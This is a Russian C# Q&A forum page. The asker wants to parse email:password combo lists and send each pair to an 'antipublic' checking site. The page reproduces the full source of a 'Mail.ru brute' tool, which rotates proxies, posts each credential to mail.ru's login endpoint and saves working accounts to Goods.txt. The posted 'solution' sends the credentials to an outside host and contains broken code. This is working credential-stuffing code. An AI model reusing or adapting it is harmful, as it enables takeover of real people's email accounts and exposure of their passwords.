.NET 4.x Извлечь подстроки из строк после string.split - C#

Узнай цену своей работы

Формулировка задачи:

Добрый вечер, народ помогите пожалуйста я где-то находил пример даже адаптировал в свой код когда тестировал, но потом намутил там дальше и у меня перестало всё работать, а после компиляции сохранился новый код и я потерял, тот где у меня всё работало. Суть такова у менять есть текстовый файл с имейлами. строки вида removed@mail.ru:123 removed@mail.ru;5345 По идее
  accs.Split('@', ':');
Должно разделить файл который я загрузил на первую подстроку до символа @ вторую до символа : и третью после символа : Мучаюсь вопросом как теперь мне извлечь для дальнейшей работы. То есть мне как-нибудь их надо извлечь и добавить в переменные. Может кто поможет как это можно реализовать, благодарю заранее.
 WebRequest reqGet = WebRequest.Create(@"http://demo26.ru/check.php?"+логин(1подстрока из сплита)+домен(2построка из сплита+пароль(3подстрока из сплита));
 
private static Queue<string> _source = new Queue<string>();
        private void button1_Click(object sender, EventArgs e)
        {
            String time = DateTime.Now.ToString("yyyy.MM.dd_HH-mm-ss");
            var path = Directory.CreateDirectory("Antipublic" + time);
            var open = new OpenFileDialog
            {
                InitialDirectory = Application.StartupPath,
                Filter = @"Текстовые файлы|*.txt"
            };
            
            if (open.ShowDialog() != DialogResult.OK) MessageBox.Show(@"Файл не выбран");
             _source = new Queue<string>(File.ReadAllLines(open.FileName));
            label1.Text = _source.Count().ToString(CultureInfo.InvariantCulture);
            string accs = string.Empty;
            accs = _source.Dequeue();
            if (accs.Contains(":"))
            {
              
                accs.Split('@', ':');
                File.Create(path + "Паблик " + "(" + time + ")" + ".txt");
            }
 
        else if (accs.Contains(";"))
            {
                accs.Split('@', ';');
            }
           
        }
    }
}
Делал по образу вот этой программы только там на викинг енджин, я вот и не могу понять откуда там переменные стринг mail, domain, pass , или они были из библиотеки викинг енджина взяты ?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using ViKing.Engine;
using ViKing.Engine.GUI;
namespace Mail.ru_brute_by_Sharper
{
    public partial class Mail : Form
    {
        public Mail()
        {
            InitializeComponent();
            Application.ThreadException += (obj, e) => ExceptionDialog.Show(e.Exception);
        }
        public bool work = false;
        static object lockers = new object();
        public int all = 0;
        private static Queue<string> source = new Queue<string>();
        Queue<Proxy> proxies = new Queue<Proxy>();
        Queue<Proxy> loadsproxy = new Queue<Proxy>();
        JobManager manager;
        int errors = 0;
        JobManager managerProxy;
 
        private void threadbox_ValueChanged(object sender, EventArgs e)
        {
            try
            {
                if (manager != null) manager.PreferredThreadCount = (int)threadbox.Value;
            }
            catch { }
        }
 
        public void WorkMail(string mail, string domain, string pass)
        {
            try
            {
                Proxy p = null;
                if (useproxy.Checked)
                {
                    lock (lockers)
                    {
                        if (proxies.Count == 0)
                        {
                            work = false; MessageBox.Show("Закончились прокси !"); return;
                        }
                        else p = proxies.Dequeue();
                    }
                }
                ViKing.Engine.CookieCollection cokis = new ViKing.Engine.CookieCollection();
                string headers = string.Empty;
                if (useproxy.Checked)
                {
                    headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, proxy: p, FollowRedirects: false, cookies: cokis, method: "POST").Headers);
                }
                else
                {
                    headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, FollowRedirects: false, cookies: cokis, method: "POST").Headers);
                }
                if (useproxy.Checked)
                {
                    Invoke(new System.EventHandler(delegate
                    {
                        proxies.Enqueue(p);
                    }));
                }
                if (headers.Contains("Mpop="))
                {
                    Invoke(new System.EventHandler(delegate
                    {
                        goodslabel.Text = Convert.ToString(Convert.ToInt32(goodslabel.Text) + 1);
                        System.IO.File.AppendAllText("Goods.txt", mail + "@" + domain + ":" + pass + "\r\n");
                        goodsbox.AppendText(mail + "@" + domain + ":" + pass + "\r\n");
                    }));
                }
                else
                {
                    Invoke(new System.EventHandler(delegate
                    {
                        badslabel.Text = Convert.ToString(Convert.ToInt32(badslabel.Text) + 1);
                    }));
                }
            }
            catch
            {
                return;
            }
        }
 
        public void working()
        {
            while (work)
            {
                try
                {
                    string accs = string.Empty;
                    lock (lockers)
                    {
                        if (source.Count == 0)
                        {
                            work = false;
                            manager.StopJob("Завершили работу.");
                            return;
                        }
                        else
                            accs = source.Dequeue();
                    }
                    string[] mailAcc = null;
                    if (accs.Contains(":"))
                    {
                        mailAcc = accs.Split('@', ':');
                    }
                    else if (accs.Contains(";"))
                    {
                        mailAcc = accs.Split('@', ';');
                    }
                    Invoke(new System.EventHandler(delegate
                    {
                        pro.Text = Convert.ToString(Convert.ToInt32(pro.Text) + 1);
                    }));
                    WorkMail(mailAcc[0], mailAcc[1], mailAcc[2]);
                }
                catch
                { continue; }
            }
        }
 
        private void load_base_Click(object sender, EventArgs e)
        {
            try
            {
                using (OpenFileDialog op = new OpenFileDialog()
                {
                    InitialDirectory = Application.StartupPath,
                    FileName = String.Empty,
                    Filter = "Text Files|*.txt"
                })
                {
                    if (op.ShowDialog() == DialogResult.OK)
                    {
                        source = new Queue<string>(File.ReadAllLines(op.FileName));
                        all = (source.Count);
                        alls.Text = Convert.ToString(all);
                        MessageBox.Show(this, "Загрузили " + source.Count + " аккаунтов !", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                    }
                }
 
            }
            catch
            { }
        }
 
        public void checkproxy()
        {
            while (true)
            {
                try
                {
                    Proxy p = null;
                    lock (lockers)
                    {
                        if (loadsproxy.Count == 0)
                        {
                            managerProxy.StopJob("");
                            break;
                        }
                        else p = loadsproxy.Dequeue();
                    }
                    string headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=CheckerProxy&Domain=mail.ru&Password=sharperforsharper", proxy: p, FollowRedirects: false, method: "POST").Headers);
                    if (headers.Contains("Mpop="))
                    {
                        Invoke(new System.EventHandler(delegate
                        {
                            proxies.Enqueue(p);
                        }));
                    }
                }
                catch
                { }
            }
        }
 
        private void Mail_FormClosing(object sender, FormClosingEventArgs e)
        {
            try
            {
                work = false;
                Application.Exit();
                managerProxy.StopJob("");
                manager.StopJob("Завершаем работу.");
            }
            catch { Application.Exit(); }
        }
 
        private void stop_Click(object sender, EventArgs e)
        {
            try
            {
                work = false;
                manager.StopJob("Завершаем работу.");
            }
            catch { }
        }
 
        private void worktime_Tick(object sender, EventArgs e)
        {
            try
            {
                if (manager != null) threadslabel.Text = Convert.ToString(manager.ThreadCount);
                proxylabel.Text = Convert.ToString(proxies.Count);
            }
            catch { return; }
        }
 
        private void start_Click(object sender, EventArgs e)
        {
            try
            {
                pro.Text = "0";
                goodslabel.Text = "0";
                badslabel.Text = "0";
                ViKing.Engine.VkRequest.Timeout = 10000;
                goodsbox.Clear();
                if (source.Count == 0)
                {
                    MessageBox.Show(this, "Не найдено аккаунтов, не возможно начать работу.", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return;
                }
                else
                {
                    if (useproxy.Checked)
                    {
                        if (proxies.Count == 0)
                        {
                            MessageBox.Show(this, "Не найдено проксей, не возможно начать работу.", "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Stop);
                            return;
                        }
                        else
                        {
                            work = true;
                            manager = new JobManager(working);
                            manager.PreferredThreadCount = (int)threadbox.Value;
                            manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
                            manager.Start();
                        }
                    }
                    else
                    {
                        work = true;
                        manager = new JobManager(working);
                        manager.PreferredThreadCount = (int)threadbox.Value;
                        manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
                        manager.Start();
                    }
                }
 
            }
            catch { return; }
        }
 
        private void load_proxy_Click(object sender, EventArgs e)
        {
            try
            {
                var d = new OpenFileDialog();
                d.InitialDirectory = Application.StartupPath;
                d.FileName = String.Empty;
                d.Filter = "HTTP прокси|*.txt|Socks4 прокси|*.txt|Socks5 прокси|*.txt";
                if (d.ShowDialog() == DialogResult.OK)
                {
                    loadsproxy.Clear();
                    proxies.Clear();
                    ProxyTypes type = ProxyTypes.HTTP; ;
                    type = ProxyTypes.HTTP;
                    switch (d.FilterIndex)
                    {
                        case 1: type = ProxyTypes.HTTP; break;
                        case 2: type = ProxyTypes.Socks4; break;
                        case 3: type = ProxyTypes.Socks5; break;
                        default: type = ProxyTypes.HTTP; break;
                    }
                    string[] file = File.ReadAllLines(d.FileName);
                    if (usecheckproxy.Checked)
                    {
                        foreach (var line in file)
                            try { loadsproxy.Enqueue(new Proxy(line, type)); }
                            catch { }
                        MessageBox.Show(this, "Успешно загрузили " + loadsproxy.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                        managerProxy = new JobManager(checkproxy);
                        managerProxy.PreferredThreadCount = 100;
                        managerProxy.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
                        managerProxy.Start();
                    }
                    else
                    {
                        foreach (var line in file)
                            try { proxies.Enqueue(new Proxy(line, type)); }
                            catch { }
                        MessageBox.Show(this, "Успешно загрузили " + proxies.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
                    }
                }
            }
            catch { }
        }
 
        private void useproxy_CheckedChanged(object sender, EventArgs e)
        {
            if (useproxy.Checked)
            {
                load_proxy.Enabled = true;
                usecheckproxy.Enabled = true;
            }
            else
            {
                load_proxy.Enabled = false;
                usecheckproxy.Enabled = false;
            }
        }
 
    }
}

Решение задачи: «.NET 4.x Извлечь подстроки из строк после string.split»

textual
Листинг программы
   WebRequest reqGet =
                            WebRequest.Create(@"http://demo26.ru/check.php?" + "mail=" + strsplit[i] + "@" + strsplit[i + 1] +
                                              "&pass=" + strsplit[i + 2] + "&add=" + param);
                        var resp = reqGet.GetResponse();
                        var stream = resp.GetResponseStream();
                        if (stream != null)
                        {
                            var sr = new StreamReader(stream);
                            var s = sr.ReadToEnd();
                            textBox1.Text = s;
                            if (s.Contains("PUBLIC")) 
                            {
                                File.Create("bad.txt");
                                  
                            }
                            else
                            {
                                if (s.Contains("PRIVATE")) ;
                                File.Create("good.txt").;
                            }

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

15   голосов , оценка 4.133 из 5
Похожие ответы